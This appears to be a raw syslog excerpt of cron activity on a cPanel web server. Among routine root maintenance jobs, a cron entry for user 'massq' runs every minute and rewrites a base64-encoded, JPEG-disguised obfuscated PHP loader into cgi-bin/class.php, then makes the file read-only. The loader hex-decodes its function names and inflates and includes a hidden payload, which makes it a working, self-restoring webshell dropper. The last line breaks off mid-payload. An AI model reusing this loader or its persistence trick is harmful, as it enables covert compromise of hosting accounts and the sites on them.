Sep 10 06:09:01 server CROND[8379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:09:01 server CROND[8380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:10:01 server CROND[8915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:10:01 server CROND[8924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:10:01 server CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:10:01 server CROND[8921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:10:01 server CROND[8922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:10:01 server CROND[8920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:10:01 server CROND[8923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:10:01 server CROND[8918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:11:01 server CROND[9772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:11:01 server CROND[9774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:11:01 server CROND[9773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:12:01 server CROND[10203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:12:01 server CROND[10204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:12:01 server CROND[10208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:12:01 server CROND[10205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:13:01 server CROND[10607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:13:01 server CROND[10608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:13:01 server CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:14:01 server CROND[10993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:14:01 server CROND[10995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:14:01 server CROND[10996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:15:01 server CROND[11392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:15:01 server CROND[11393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:15:01 server CROND[11394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:15:01 server CROND[11412]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 06:15:01 server CROND[11413]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 06:15:01 server CROND[11416]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 06:15:01 server CROND[11415]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:15:01 server CROND[11402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:15:01 server CROND[11414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:15:01 server CROND[11417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:16:01 server CROND[12363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:16:01 server CROND[12364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:16:01 server CROND[12365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:17:01 server CROND[12771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:17:01 server CROND[12770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:17:01 server CROND[12772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:18:01 server CROND[13151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:18:01 server CROND[13152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:18:01 server CROND[13153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:19:01 server CROND[13574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:19:01 server CROND[13575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:19:01 server CROND[13576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:20:01 server CROND[13988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:20:01 server CROND[13989]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:20:01 server CROND[13995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:20:01 server CROND[13997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:20:01 server CROND[13994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:20:01 server CROND[14000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:20:01 server CROND[13996]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:20:01 server CROND[13999]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:20:01 server CROND[13998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:21:01 server CROND[14929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:21:01 server CROND[14930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3